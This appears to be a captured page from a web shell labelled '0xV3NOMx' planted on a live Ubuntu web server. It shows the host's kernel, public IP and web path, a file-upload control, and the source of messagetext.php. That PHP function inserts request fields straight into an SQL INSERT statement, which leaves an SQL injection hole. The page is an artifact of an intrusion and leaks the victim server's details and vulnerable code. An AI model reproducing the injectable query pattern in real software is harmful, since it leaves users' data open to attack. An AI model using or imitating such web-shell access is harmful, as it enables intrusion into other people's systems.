0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.118.120.13


Current Path : /var/www/html/mum/src/
Upload File :
Current File : /var/www/html/mum/src/messagetext.php

<?php
	function SaveMessageTxet($aobj_context)
	{
		$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
		$messagetext = trim($aobj_context->mobj_data["messagetext"]);
		$fmodule = trim($aobj_context->mobj_data["fmodule"]);
		$fdate = trim($aobj_context->mobj_data["fdate"]);
		$tdate = trim($aobj_context->mobj_data["tdate"]);

		$insert = "insert into message_board(college_code,display_from,display_to,message) 
					  values('{$fmodule}',date_format(str_to_date('{$fdate}','%d/%m/%Y'),'%Y-%m-%d'),
					  date_format(str_to_date('{$tdate}','%d/%m/%Y'),'%Y-%m-%d'),'{$messagetext}')";
					  //var_dump($insert);
		$results = $aobj_context->mobj_db->Execute($insert);

		if($results)
		{
			$rdata = "Updated Successfully.";
			print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"));
			return $rdata;
		}
		else
		{
			$rdata = "No Updation";
			print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure"));  
			return $rdata;			
		}

	}
?>